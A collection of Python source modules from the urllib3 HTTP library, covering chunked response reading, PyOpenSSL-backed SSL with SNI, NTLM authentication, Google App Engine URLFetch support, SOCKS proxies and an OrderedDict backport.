                "Header 'transfer-encoding: chunked' is missing.")

        # Don't bother reading the body of a HEAD request.
        if self._original_response and is_response_to_head(self._original_response):
            self._original_response.close()
            return

        with self._error_catcher():
            while True:
                self._update_chunk_length()
                if self.chunk_left == 0:
                    break
                chunk = self._handle_chunk(amt)
                decoded = self._decode(chunk, decode_content=decode_content,
                                       flush_decoder=False)
                if decoded:
                    yield decoded

            if decode_content:
                # On CPython and PyPy, we should never need to flush the
                # decoder. However, on Jython we *might* need to, so
                # lets defensively do it anyway.
                decoded = self._flush_decoder()
                if decoded:  # Platform-specific: Jython.
                    yield decoded

            # Chunk content ends with \r\n: discard it.
            while True:
                line = self._fp.fp.readline()
                if not line:
                    # Some sites may not end with '\r\n'.
                    break
                if line == b'\r\n':
                    break

            # We read everything; close the "file".
            if self._original_response:
                self._original_response.close()






'''SSL with SNI_-support for Python 2. Follow these instructions if you would
like to verify SSL certificates in Python 2. Note, the default libraries do
*not* do certificate checking; you need to do additional work to validate
certificates yourself.

This needs the following packages installed:

* pyOpenSSL (tested with 0.13)
* ndg-httpsclient (tested with 0.3.2)
* pyasn1 (tested with 0.1.6)

You can install them with the following command:

    pip install pyopenssl ndg-httpsclient pyasn1

To activate certificate checking, call
:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code
before you begin making HTTP requests. This can be done in a ``sitecustomize``
module, or at any other time before your application begins using ``urllib3``,
like this::

    try:
        import urllib3.contrib.pyopenssl
        urllib3.contrib.pyopenssl.inject_into_urllib3()
    except ImportError:
        pass

Now you can use :mod:`urllib3` as you normally would, and it will support SNI
when the required modules are installed.

Activating this module also has the positive side effect of disabling SSL/TLS
compression in Python 2 (see `CRIME attack`_).

If you want to configure the default list of supported cipher suites, you can
set the ``urllib3.contrib.pyopenssl.DEFAULT_SSL_CIPHER_LIST`` variable.

Module Variables
----------------

:var DEFAULT_SSL_CIPHER_LIST: The list of supported SSL/TLS cipher suites.

.. _sni: https://en.wikipedia.org/wiki/Server_Name_Indication
.. _crime attack: https://en.wikipedia.org/wiki/CRIME_(security_exploit)

'''
from __future__ import absolute_import

try:
    from ndg.httpsclient.ssl_peer_verification import SUBJ_ALT_NAME_SUPPORT
    from ndg.httpsclient.subj_alt_name import SubjectAltName as BaseSubjectAltName
except SyntaxError as e:
    raise ImportError(e)

import OpenSSL.SSL
from pyasn1.codec.der import decoder as der_decoder
from pyasn1.type import univ, constraint
from socket import timeout, error as SocketError

try:  # Platform-specific: Python 2
    from socket import _fileobject
except ImportError:  # Platform-specific: Python 3
    _fileobject = None
    from urllib3.packages.backports.makefile import backport_makefile

import ssl
import select
import six

from .. import connection
from .. import util

__all__ = ['inject_into_urllib3', 'extract_from_urllib3']

# SNI only *really* works if we can read the subjectAltName of certificates.
HAS_SNI = SUBJ_ALT_NAME_SUPPORT

# Map from urllib3 to PyOpenSSL compatible parameter-values.
_openssl_versions = {
    ssl.PROTOCOL_SSLv23: OpenSSL.SSL.SSLv23_METHOD,
    ssl.PROTOCOL_TLSv1: OpenSSL.SSL.TLSv1_METHOD,
}

if hasattr(ssl, 'PROTOCOL_TLSv1_1') and hasattr(OpenSSL.SSL, 'TLSv1_1_METHOD'):
    _openssl_versions[ssl.PROTOCOL_TLSv1_1] = OpenSSL.SSL.TLSv1_1_METHOD

if hasattr(ssl, 'PROTOCOL_TLSv1_2') and hasattr(OpenSSL.SSL, 'TLSv1_2_METHOD'):
    _openssl_versions[ssl.PROTOCOL_TLSv1_2] = OpenSSL.SSL.TLSv1_2_METHOD

try:
    _openssl_versions.update({ssl.PROTOCOL_SSLv3: OpenSSL.SSL.SSLv3_METHOD})
except AttributeError:
    pass

_openssl_verify = {
    ssl.CERT_NONE: OpenSSL.SSL.VERIFY_NONE,
    ssl.CERT_OPTIONAL: OpenSSL.SSL.VERIFY_PEER,
    ssl.CERT_REQUIRED:
        OpenSSL.SSL.VERIFY_PEER + OpenSSL.SSL.VERIFY_FAIL_IF_NO_PEER_CERT,
}

DEFAULT_SSL_CIPHER_LIST = util.ssl_.DEFAULT_CIPHERS.encode('ascii')

# OpenSSL will only write 16K at a time
SSL_WRITE_BLOCKSIZE = 16384

orig_util_HAS_SNI = util.HAS_SNI
orig_connection_ssl_wrap_socket = connection.ssl_wrap_socket


def inject_into_urllib3():
    'Monkey-patch urllib3 with PyOpenSSL-backed SSL-support.'

    connection.ssl_wrap_socket = ssl_wrap_socket
    util.HAS_SNI = HAS_SNI
    util.IS_PYOPENSSL = True


def extract_from_urllib3():
    'Undo monkey-patching by :func:`inject_into_urllib3`.'

    connection.ssl_wrap_socket = orig_connection_ssl_wrap_socket
    util.HAS_SNI = orig_util_HAS_SNI
    util.IS_PYOPENSSL = False


# Note: This is a slightly bug-fixed version of same from ndg-httpsclient.
class SubjectAltName(BaseSubjectAltName):
    '''ASN.1 implementation for subjectAltNames support'''

    # There is no limit to how many SAN certificates a certificate may have,
    #   however this needs to have some limit so we'll set an arbitrarily high
    #   limit.
    sizeSpec = univ.SequenceOf.sizeSpec + \
        constraint.ValueSizeConstraint(1, 1024)


# Note: This is a slightly bug-fixed version of same from ndg-httpsclient.
def get_subj_alt_name(peer_cert):
    # Search through extensions
    dns_name = []
    if not SUBJ_ALT_NAME_SUPPORT:
        return dns_name

    general_names = SubjectAltName()
    for i in range(peer_cert.get_extension_count()):
        ext = peer_cert.get_extension(i)
        ext_name = ext.get_short_name()
        if ext_name != b'subjectAltName':
            continue

        # PyOpenSSL returns extension data in ASN.1 encoded form
        ext_dat = ext.get_data()
        decoded_dat = der_decoder.decode(ext_dat,
                                         asn1Spec=general_names)

        for name in decoded_dat:
            if not isinstance(name, SubjectAltName):
                continue
            for entry in range(len(name)):
                component = name.getComponentByPosition(entry)
                if component.getName() != 'dNSName':
                    continue
                dns_name.append(str(component.getComponent()))

    return dns_name


class WrappedSocket(object):
    '''API-compatibility wrapper for Python OpenSSL's Connection-class.

    Note: _makefile_refs, _drop() and _reuse() are needed for the garbage
    collector of pypy.
    '''

    def __init__(self, connection, socket, suppress_ragged_eofs=True):
        self.connection = connection
        self.socket = socket
        self.suppress_ragged_eofs = suppress_ragged_eofs
        self._makefile_refs = 0
        self._closed = False

    def fileno(self):
        return self.socket.fileno()

    # Copy-pasted from Python 3.5 source code
    def _decref_socketios(self):
        if self._makefile_refs > 0:
            self._makefile_refs -= 1
        if self._closed:
            self.close()

    def recv(self, *args, **kwargs):
        try:
            data = self.connection.recv(*args, **kwargs)
        except OpenSSL.SSL.SysCallError as e:
            if self.suppress_ragged_eofs and e.args == (-1, 'Unexpected EOF'):
                return b''
            else:
                raise SocketError(str(e))
        except OpenSSL.SSL.ZeroReturnError as e:
            if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN:
                return b''
            else:
                raise
        except OpenSSL.SSL.WantReadError:
            rd, wd, ed = select.select(
                [self.socket], [], [], self.socket.gettimeout())
            if not rd:
                raise timeout('The read operation timed out')
            else:
                return self.recv(*args, **kwargs)
        else:
            return data

    def recv_into(self, *args, **kwargs):
        try:
            return self.connection.recv_into(*args, **kwargs)
        except OpenSSL.SSL.SysCallError as e:
            if self.suppress_ragged_eofs and e.args == (-1, 'Unexpected EOF'):
                return 0
            else:
                raise SocketError(str(e))
        except OpenSSL.SSL.ZeroReturnError as e:
            if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN:
                return 0
            else:
                raise
        except OpenSSL.SSL.WantReadError:
            rd, wd, ed = select.select(
                [self.socket], [], [], self.socket.gettimeout())
            if not rd:
                raise timeout('The read operation timed out')
            else:
                return self.recv_into(*args, **kwargs)

    def settimeout(self, timeout):
        return self.socket.settimeout(timeout)

    def _send_until_done(self, data):
        while True:
            try:
                return self.connection.send(data)
            except OpenSSL.SSL.WantWriteError:
                _, wlist, _ = select.select([], [self.socket], [],
                                            self.socket.gettimeout())
                if not wlist:
                    raise timeout()
                continue

    def sendall(self, data):
        total_sent = 0
        while total_sent < len(data):
            sent = self._send_until_done(data[total_sent:total_sent + SSL_WRITE_BLOCKSIZE])
            total_sent += sent

    def shutdown(self):
        # FIXME rethrow compatible exceptions should we ever use this
        self.connection.shutdown()

    def close(self):
        if self._makefile_refs < 1:
            try:
                self._closed = True
                return self.connection.close()
            except OpenSSL.SSL.Error:
                return
        else:
            self._makefile_refs -= 1

    def getpeercert(self, binary_form=False):
        x509 = self.connection.get_peer_certificate()

        if not x509:
            return x509

        if binary_form:
            return OpenSSL.crypto.dump_certificate(
                OpenSSL.crypto.FILETYPE_ASN1,
                x509)

        return {
            'subject': (
                (('commonName', x509.get_subject().CN),),
            ),
            'subjectAltName': [
                ('DNS', value)
                for value in get_subj_alt_name(x509)
            ]
        }

    def _reuse(self):
        self._makefile_refs += 1

    def _drop(self):
        if self._makefile_refs < 1:
            self.close()
        else:
            self._makefile_refs -= 1


if _fileobject:  # Platform-specific: Python 2
    def makefile(self, mode, bufsize=-1):
        self._makefile_refs += 1
        return _fileobject(self, mode, bufsize, close=True)
else:  # Platform-specific: Python 3
    makefile = backport_makefile

WrappedSocket.makefile = makefile


def _verify_callback(cnx, x509, err_no, err_depth, return_code):
    return err_no == 0


def ssl_wrap_socket(sock, keyfile=None, certfile=None, cert_reqs=None,
                    ca_certs=None, server_hostname=None,
                    ssl_version=None, ca_cert_dir=None):
    ctx = OpenSSL.SSL.Context(_openssl_versions[ssl_version])
    if certfile:
        keyfile = keyfile or certfile  # Match behaviour of the normal python ssl library
        ctx.use_certificate_file(certfile)
    if keyfile:
        ctx.use_privatekey_file(keyfile)
    if cert_reqs != ssl.CERT_NONE:
        ctx.set_verify(_openssl_verify[cert_reqs], _verify_callback)
    if ca_certs or ca_cert_dir:
        try:
            ctx.load_verify_locations(ca_certs, ca_cert_dir)
        except OpenSSL.SSL.Error as e:
            raise ssl.SSLError('bad ca_certs: %r' % ca_certs, e)
    else:
        ctx.set_default_verify_paths()

    # Disable TLS compression to mitigate CRIME attack (issue #309)
    OP_NO_COMPRESSION = 0x20000
    ctx.set_options(OP_NO_COMPRESSION)

    # Set list of supported ciphersuites.
    ctx.set_cipher_list(DEFAULT_SSL_CIPHER_LIST)

    cnx = OpenSSL.SSL.Connection(ctx, sock)
    if isinstance(server_hostname, six.text_type):  # Platform-specific: Python 3
        server_hostname = server_hostname.encode('utf-8')
    cnx.set_tlsext_host_name(server_hostname)
    cnx.set_connect_state()
    while True:
        try:
            cnx.do_handshake()
        except OpenSSL.SSL.WantReadError:
            rd, _, _ = select.select([sock], [], [], sock.gettimeout())
            if not rd:
                raise timeout('select timed out')
            continue
        except OpenSSL.SSL.Error as e:
            raise ssl.SSLError('bad handshake: %r' % e)
        break

    return WrappedSocket(cnx, sock)






"""
NTLM authenticating pool, contributed by erikcederstran

Issue #10, see: http://code.google.com/p/urllib3/issues/detail?id=10
"""
from __future__ import absolute_import

try:
    from http.client import HTTPSConnection
except ImportError:
    from httplib import HTTPSConnection
from logging import getLogger
from ntlm import ntlm

from urllib3 import HTTPSConnectionPool


log = getLogger(__name__)


class NTLMConnectionPool(HTTPSConnectionPool):
    """
    Implements an NTLM authentication version of an urllib3 connection pool
    """

    scheme = 'https'

    def __init__(self, user, pw, authurl, *args, **kwargs):
        """
        authurl is a random URL on the server that is protected by NTLM.
        user is the Windows user, probably in the DOMAIN\\username format.
        pw is the password for the user.
        """
        super(NTLMConnectionPool, self).__init__(*args, **kwargs)
        self.authurl = authurl
        self.rawuser = user
        user_parts = user.split('\\', 1)
        self.domain = user_parts[0].upper()
        self.user = user_parts[1]
        self.pw = pw

    def _new_conn(self):
        # Performs the NTLM handshake that secures the connection. The socket
        # must be kept open while requests are performed.
        self.num_connections += 1
        log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s',
                  self.num_connections, self.host, self.authurl)

        headers = {}
        headers['Connection'] = 'Keep-Alive'
        req_header = 'Authorization'
        resp_header = 'www-authenticate'

        conn = HTTPSConnection(host=self.host, port=self.port)

        # Send negotiation message
        headers[req_header] = (
            'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser))
        log.debug('Request headers: %s', headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug('Response status: %s %s', res.status, res.reason)
        log.debug('Response headers: %s', reshdr)
        log.debug('Response data: %s [...]', res.read(100))

        # Remove the reference to the socket, so that it can not be closed by
        # the response object (we want to keep the socket open)
        res.fp = None

        # Server should respond with a challenge message
        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' %
                            (resp_header, reshdr[resp_header]))

        # Send authentication message
        ServerChallenge, NegotiateFlags = \
            ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,
                                                         self.user,
                                                         self.domain,
                                                         self.pw,
                                                         NegotiateFlags)
        headers[req_header] = 'NTLM %s' % auth_msg
        log.debug('Request headers: %s', headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s', res.status, res.reason)
        log.debug('Response headers: %s', dict(res.getheaders()))
        log.debug('Response data: %s [...]', res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong '
                                'username or password')
            raise Exception('Wrong server response: %s %s' %
                            (res.status, res.reason))

        res.fp = None
        log.debug('Connection established')
        return conn

    def urlopen(self, method, url, body=None, headers=None, retries=3,
                redirect=True, assert_same_host=True):
        if headers is None:
            headers = {}
        headers['Connection'] = 'Keep-Alive'
        return super(NTLMConnectionPool, self).urlopen(method, url, body,
                                                       headers, retries,
                                                       redirect,
                                                       assert_same_host)






from __future__ import absolute_import
import logging
import os
import warnings

from ..exceptions import (
    HTTPError,
    HTTPWarning,
    MaxRetryError,
    ProtocolError,
    TimeoutError,
    SSLError
)

from ..packages.six import BytesIO
from ..request import RequestMethods
from ..response import HTTPResponse
from ..util.timeout import Timeout
from ..util.retry import Retry

try:
    from google.appengine.api import urlfetch
except ImportError:
    urlfetch = None


log = logging.getLogger(__name__)


class AppEnginePlatformWarning(HTTPWarning):
    pass


class AppEnginePlatformError(HTTPError):
    pass


class AppEngineManager(RequestMethods):
    """
    Connection manager for Google App Engine sandbox applications.

    This manager uses the URLFetch service directly instead of using the
    emulated httplib, and is subject to URLFetch limitations as described in
    the App Engine documentation here:

        https://cloud.google.com/appengine/docs/python/urlfetch

    Notably it will raise an AppEnginePlatformError if:
        * URLFetch is not available.
        * If you attempt to use this on GAEv2 (Managed VMs), as full socket
          support is available.
        * If a request size is more than 10 megabytes.
        * If a response size is more than 32 megabtyes.
        * If you use an unsupported request method such as OPTIONS.

    Beyond those cases, it will raise normal urllib3 errors.
    """

    def __init__(self, headers=None, retries=None, validate_certificate=True):
        if not urlfetch:
            raise AppEnginePlatformError(
                "URLFetch is not available in this environment.")

        if is_prod_appengine_mvms():
            raise AppEnginePlatformError(
                "Use normal urllib3.PoolManager instead of AppEngineManager"
                "on Managed VMs, as using URLFetch is not necessary in "
                "this environment.")

        warnings.warn(
            "urllib3 is using URLFetch on Google App Engine sandbox instead "
            "of sockets. To use sockets directly instead of URLFetch see "
            "https://urllib3.readthedocs.io/en/latest/contrib.html.",
            AppEnginePlatformWarning)

        RequestMethods.__init__(self, headers)
        self.validate_certificate = validate_certificate

        self.retries = retries or Retry.DEFAULT

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        # Return False to re-raise any potential exceptions
        return False

    def urlopen(self, method, url, body=None, headers=None,
                retries=None, redirect=True, timeout=Timeout.DEFAULT_TIMEOUT,
                **response_kw):

        retries = self._get_retries(retries, redirect)

        try:
            response = urlfetch.fetch(
                url,
                payload=body,
                method=method,
                headers=headers or {},
                allow_truncated=False,
                follow_redirects=(
                    redirect and
                    retries.redirect != 0 and
                    retries.total),
                deadline=self._get_absolute_timeout(timeout),
                validate_certificate=self.validate_certificate,
            )
        except urlfetch.DeadlineExceededError as e:
            raise TimeoutError(self, e)

        except urlfetch.InvalidURLError as e:
            if 'too large' in str(e):
                raise AppEnginePlatformError(
                    "URLFetch request too large, URLFetch only "
                    "supports requests up to 10mb in size.", e)
            raise ProtocolError(e)

        except urlfetch.DownloadError as e:
            if 'Too many redirects' in str(e):
                raise MaxRetryError(self, url, reason=e)
            raise ProtocolError(e)

        except urlfetch.ResponseTooLargeError as e:
            raise AppEnginePlatformError(
                "URLFetch response too large, URLFetch only supports"
                "responses up to 32mb in size.", e)

        except urlfetch.SSLCertificateError as e:
            raise SSLError(e)

        except urlfetch.InvalidMethodError as e:
            raise AppEnginePlatformError(
                "URLFetch does not support method: %s" % method, e)

        http_response = self._urlfetch_response_to_http_response(
            response, **response_kw)

        # Check for redirect response
        if (http_response.get_redirect_location() and
                retries.raise_on_redirect and redirect):
            raise MaxRetryError(self, url, "too many redirects")

        # Check if we should retry the HTTP response.
        if retries.is_forced_retry(method, status_code=http_response.status):
            retries = retries.increment(
                method, url, response=http_response, _pool=self)
            log.info("Forced retry: %s", url)
            retries.sleep()
            return self.urlopen(
                method, url,
                body=body, headers=headers,
                retries=retries, redirect=redirect,
                timeout=timeout, **response_kw)

        return http_response

    def _urlfetch_response_to_http_response(self, urlfetch_resp, **response_kw):

        if is_prod_appengine():
            # Production GAE handles deflate encoding automatically, but does
            # not remove the encoding header.
            content_encoding = urlfetch_resp.headers.get('content-encoding')

            if content_encoding == 'deflate':
                del urlfetch_resp.headers['content-encoding']

        transfer_encoding = urlfetch_resp.headers.get('transfer-encoding')
        # We have a full response's content,
        # so let's make sure we don't report ourselves as chunked data.
        if transfer_encoding == 'chunked':
            encodings = transfer_encoding.split(",")
            encodings.remove('chunked')
            urlfetch_resp.headers['transfer-encoding'] = ','.join(encodings)

        return HTTPResponse(
            # In order for decoding to work, we must present the content as
            # a file-like object.
            body=BytesIO(urlfetch_resp.content),
            headers=urlfetch_resp.headers,
            status=urlfetch_resp.status_code,
            **response_kw
        )

    def _get_absolute_timeout(self, timeout):
        if timeout is Timeout.DEFAULT_TIMEOUT:
            return 5  # 5s is the default timeout for URLFetch.
        if isinstance(timeout, Timeout):
            if timeout._read is not timeout._connect:
                warnings.warn(
                    "URLFetch does not support granular timeout settings, "
                    "reverting to total timeout.", AppEnginePlatformWarning)
            return timeout.total
        return timeout

    def _get_retries(self, retries, redirect):
        if not isinstance(retries, Retry):
            retries = Retry.from_int(
                retries, redirect=redirect, default=self.retries)

        if retries.connect or retries.read or retries.redirect:
            warnings.warn(
                "URLFetch only supports total retries and does not "
                "recognize connect, read, or redirect retry parameters.",
                AppEnginePlatformWarning)

        return retries


def is_appengine():
    return (is_local_appengine() or
            is_prod_appengine() or
            is_prod_appengine_mvms())


def is_appengine_sandbox():
    return is_appengine() and not is_prod_appengine_mvms()


def is_local_appengine():
    return ('APPENGINE_RUNTIME' in os.environ and
            'Development/' in os.environ['SERVER_SOFTWARE'])


def is_prod_appengine():
    return ('APPENGINE_RUNTIME' in os.environ and
            'Google App Engine/' in os.environ['SERVER_SOFTWARE'] and
            not is_prod_appengine_mvms())


def is_prod_appengine_mvms():
    return os.environ.get('GAE_VM', False) == 'true'












# -*- coding: utf-8 -*-
"""
SOCKS support for urllib3
~~~~~~~~~~~~~~~~~~~~~~~~~

This contrib module contains provisional support for SOCKS proxies from within
urllib3. This module supports SOCKS4 (specifically the SOCKS4A variant) and
SOCKS5. To enable its functionality, either install PySocks or install this
module with the ``socks`` extra.

Known Limitations:

- Currently PySocks does not support contacting remote websites via literal
  IPv6 addresses. Any such connection attempt will fail.
- Currently PySocks does not support IPv6 connections to the SOCKS proxy. Any
  such connection attempt will fail.
"""
from __future__ import absolute_import

try:
    import socks
except ImportError:
    import warnings
    from ..exceptions import DependencyWarning

    warnings.warn((
        'SOCKS support in urllib3 requires the installation of optional '
        'dependencies: specifically, PySocks.  For more information, see '
        'https://urllib3.readthedocs.io/en/latest/contrib.html#socks-proxies'
        ),
        DependencyWarning
    )
    raise

from socket import error as SocketError, timeout as SocketTimeout

from ..connection import (
    HTTPConnection, HTTPSConnection
)
from ..connectionpool import (
    HTTPConnectionPool, HTTPSConnectionPool
)
from ..exceptions import ConnectTimeoutError, NewConnectionError
from ..poolmanager import PoolManager
from ..util.url import parse_url

try:
    import ssl
except ImportError:
    ssl = None


class SOCKSConnection(HTTPConnection):
    """
    A plain-text HTTP connection that connects via a SOCKS proxy.
    """
    def __init__(self, *args, **kwargs):
        self._socks_options = kwargs.pop('_socks_options')
        super(SOCKSConnection, self).__init__(*args, **kwargs)

    def _new_conn(self):
        """
        Establish a new connection via the SOCKS proxy.
        """
        extra_kw = {}
        if self.source_address:
            extra_kw['source_address'] = self.source_address

        if self.socket_options:
            extra_kw['socket_options'] = self.socket_options

        try:
            conn = socks.create_connection(
                (self.host, self.port),
                proxy_type=self._socks_options['socks_version'],
                proxy_addr=self._socks_options['proxy_host'],
                proxy_port=self._socks_options['proxy_port'],
                proxy_username=self._socks_options['username'],
                proxy_password=self._socks_options['password'],
                timeout=self.timeout,
                **extra_kw
            )

        except SocketTimeout as e:
            raise ConnectTimeoutError(
                self, "Connection to %s timed out. (connect timeout=%s)" %
                (self.host, self.timeout))

        except socks.ProxyError as e:
            # This is fragile as hell, but it seems to be the only way to raise
            # useful errors here.
            if e.socket_err:
                error = e.socket_err
                if isinstance(error, SocketTimeout):
                    raise ConnectTimeoutError(
                        self,
                        "Connection to %s timed out. (connect timeout=%s)" %
                        (self.host, self.timeout)
                    )
                else:
                    raise NewConnectionError(
                        self,
                        "Failed to establish a new connection: %s" % error
                    )
            else:
                raise NewConnectionError(
                    self,
                    "Failed to establish a new connection: %s" % e
                )

        except SocketError as e:  # Defensive: PySocks should catch all these.
            raise NewConnectionError(
                self, "Failed to establish a new connection: %s" % e)

        return conn


# We don't need to duplicate the Verified/Unverified distinction from
# urllib3/connection.py here because the HTTPSConnection will already have been
# correctly set to either the Verified or Unverified form by that module. This
# means the SOCKSHTTPSConnection will automatically be the correct type.
class SOCKSHTTPSConnection(SOCKSConnection, HTTPSConnection):
    pass


class SOCKSHTTPConnectionPool(HTTPConnectionPool):
    ConnectionCls = SOCKSConnection


class SOCKSHTTPSConnectionPool(HTTPSConnectionPool):
    ConnectionCls = SOCKSHTTPSConnection


class SOCKSProxyManager(PoolManager):
    """
    A version of the urllib3 ProxyManager that routes connections via the
    defined SOCKS proxy.
    """
    pool_classes_by_scheme = {
        'http': SOCKSHTTPConnectionPool,
        'https': SOCKSHTTPSConnectionPool,
    }

    def __init__(self, proxy_url, username=None, password=None,
                 num_pools=10, headers=None, **connection_pool_kw):
        parsed = parse_url(proxy_url)

        if parsed.scheme == 'socks5':
            socks_version = socks.PROXY_TYPE_SOCKS5
        elif parsed.scheme == 'socks4':
            socks_version = socks.PROXY_TYPE_SOCKS4
        else:
            raise ValueError(
                "Unable to determine SOCKS version from %s" % proxy_url
            )

        self.proxy_url = proxy_url

        socks_options = {
            'socks_version': socks_version,
            'proxy_host': parsed.host,
            'proxy_port': parsed.port,
            'username': username,
            'password': password,
        }
        connection_pool_kw['_socks_options'] = socks_options

        super(SOCKSProxyManager, self).__init__(
            num_pools, headers, **connection_pool_kw
        )

        self.pool_classes_by_scheme = SOCKSProxyManager.pool_classes_by_scheme






# Backport of OrderedDict() class that runs on Python 2.4, 2.5, 2.6, 2.7 and pypy.
# Passes Python2.7's test suite and incorporates all the latest updates.
# Copyright 2009 Raymond Hettinger, released under the MIT License.
# http://code.activestate.com/recipes/576693/
try:
    from thread import get_ident as _get_ident
except ImportError:
    from dummy_thread import get_ident as _get_ident

try:
    from _abcoll import KeysView, ValuesView, ItemsView
except ImportError:
    pass


class OrderedDict(dict):
    'Dictionary that remembers insertion order'
    # An inherited dict maps keys to values.
    # The inherited dict provides __getitem__, __len__, __contains__, and get.
    # The remaining methods are order-aware.
    # Big-O running times for all methods are the same as for regular dictionaries.

    # The internal self.__map dictionary maps keys to links in a doubly linked list.
    # The circular doubly linked list starts and ends with a sentinel element.
    # The sentinel element never gets deleted (this simplifies the algorithm).
    # Each link is stored as a list of length three:  [PREV, NEXT, KEY].

    def __init__(self, *args, **kwds):
        '''Initialize an ordered dictionary.  Signature is the same as for
        regular dictionaries, but keyword arguments are not recommended
        because their insertion order is arbitrary.

        '''
        if len(args) > 1:
            raise TypeError('expected at most 1 arguments, got %d' % len(args))
        try:
            self.__root
        except AttributeError:
            self.__root = root = []                     # sentinel node
            root[:] = [root, root, None]
            self.__map = {}
        self.__update(*args, **kwds)

    def __setitem__(self, key, value, dict_setitem=dict.__setitem__):
        'od.__setitem__(i, y) <==> od[i]=y'
        # Setting a new item creates a new link which goes at the end of the linked
        # list, and the inherited dictionary is updated with the new key/value pair.
        if key not in self:
            root = self.__root
            last = root[0]
            last[1] = root[0] = self.__map[key] = [last, root, key]
        dict_setitem(self, key, value)

    def __delitem__(self, key, dict_delitem=dict.__delitem__):
        'od.__delitem__(y) <==> del od[y]'
        # Deleting an existing item uses self.__map to find the link which is
        # then removed by updating the links in the predecessor and successor nodes.
        dict_delitem(self, key)
        link_prev, link_next, key = self.__map.pop(key)
        link_prev[1] = link_next
        link_next[0] = link_prev

    def __iter__(self):
        'od.__iter__() <==> iter(od)'
        root = self.__root
        curr = root[1]
        while curr is not root:
            yield curr[2]
            curr = curr[1]

    def __reversed__(self):
        'od.__reversed__() <==> reversed(od)'
        root = self.__root
        curr = root[0]
        while curr is not root:
            yield curr[2]
            curr = curr[0]

    def clear(self):
        'od.clear() -> None.  Remove all items from od.'
        try:
            for node in self.__map.itervalues():
                del node[:]
            root = self.__root
            root[:] = [root, root, None]
            self.__map.clear()
        except AttributeError:
            pass
        dict.clear(self)

    def popitem(self, last=True):
        '''od.popitem() -> (k, v), return and remove a (key, value) pair.
        Pairs are returned in LIFO order if last is true or FIFO order if false.

        '''
        if not self:
            raise KeyError('dictionary is empty')
        root = self.__root
        if last:
            link = root[0]
            link_prev = link[0]
            link_prev[1] = root
            root[0] = link_prev
        else:
            link = root[1]
            link_next = link[1]
            root[1] = link_next
            link_next[0] = root
        key = link[2]
        del self.__map[key]
        value = dict.pop(self, key)
        return key, value

    # -- the following methods do not depend on the internal structure --

    def keys(self):
        'od.keys() -> list of keys in od'
        return list(self)

    def values(self):
        'od.values() -> list of values in od'
        return [self[key] for key in self]

    def items(self):
        'od.items() -> list of (key, value) pairs in od'
        return [(key, self[key]) for key in self]

    def iterkeys(self):
        'od.iterkeys() -> an iterator over the keys in od'
        return iter(self)

    def itervalues(self):
        'od.itervalues -> an iterator over the values in od'
        for k in self:
            yield self[k]

    def iteritems(self):
        'od.iteritems -> an iterator over the (key, value) items in od'
        for k in self:
            yield (k, self[k])

    def update(*args, **kwds):
        '''od.update(E, **F) -> None.  Update od from dict/iterable E and F.

        If E is a dict instance, does:           for k in E: od[k] = E[k]
        If E has a .keys() method, does:         for k in E.keys(): od[k] = E[k]
        Or if E is an iterable of items, does:   for k, v in E: od[k] = v
        In either case, this is followed by:     for k, v in F.items(): od[k] = v

        '''
        if len(args) > 2:
            raise TypeError('update() takes at most 2 positional '
                            'arguments (%d given)' % (len(args),))
        elif not args:
            raise TypeError('update() takes at least 1 argument (0 given)')
        self = args[0]
        # Make progressively weaker assumptions about "other"
        other = ()
        if len(args) == 2:
            other = args[1]
        if isinstance(other, dict):
            for key in other:
                self[key] = other[key]
        elif hasattr(other, 'keys'):
            for key in other.keys():
                self[key] = other[key]
        else:
            for key, value in other:
                self[key] = value
        for key, value in kwds.items():
            self[key] = value

    __update = update  # let subclasses override update without breaking __init__

    __marker = object()

    def pop(self, key, default=__marker):
        '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value.
        If key is not found, d is returned if given, otherwise KeyError is raised.

        '''
        if key in self:
            result = self[key]
            del self[key]
            return result
        if default is self.__marker:
            raise KeyError(key)
        return default

    def setdefault(self, key, default=None):
        'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od'
        if key in self:
            return self[key]
        self[key] = default
        return default

    def __repr__(self, _repr_running={}):
        'od.__repr__() <==> repr(od)'
        call_key = id(self), _get_ident()
        if call_key in _repr_running:
            return '...'
        _repr_running[call_key] = 1
        try:
            if not self:
                return '%s()' % (self.__class__.__name__,)
            return '%s(%r)' % (self.__class__.__name__, self.items())
        finally:
            del _repr_running[call_key]

    def __reduce__(self):
        'Return state information for pickling'
        items = [[k, self[k]] for k in self]
        inst_dict = vars(self).copy()
        for k in vars(OrderedDict()):
            inst_dict.pop(k, None)
        if inst_dict:
            return (self.__class__, (items,), inst_dict)
        return self.__class__, (items,)

    def copy(self):
        'od.copy() -> a shallow copy of od'
        return self.__class__(self)

    @classmethod
    def fromkeys(cls, iterable, value=None):
        '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S
        and values equal to v (which defaults to None).

        '''
        d = cls()
        for key in iterable:
            d[key] = value
        return d

    def __eq__(self, other):
        '''od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive
        while comparison to a regular mapping is order-insensitive.

        '''
        if isinstance(other, OrderedDict):
            return len(self)==len(other) and self.items() == other.items()
        return dict.__eq__(self, other)

    def __ne__(self, other):
        return not self == other

    # -- the following methods are only used in Python 2.7 --

    def viewkeys(self):
        "od.viewkeys() -> a set-like object providing a view on od's keys"
        return KeysView(self)

    def viewvalues(self):
        "od.viewvalues() -> an object providing a view on od's values"
        return ValuesView(self)

    def viewitems(self):
        "od.viewitems() -> a set-like object providing a view on od's items"
        return ItemsView(self)






from __future__ import absolute_import

from . import ssl_match_hostname

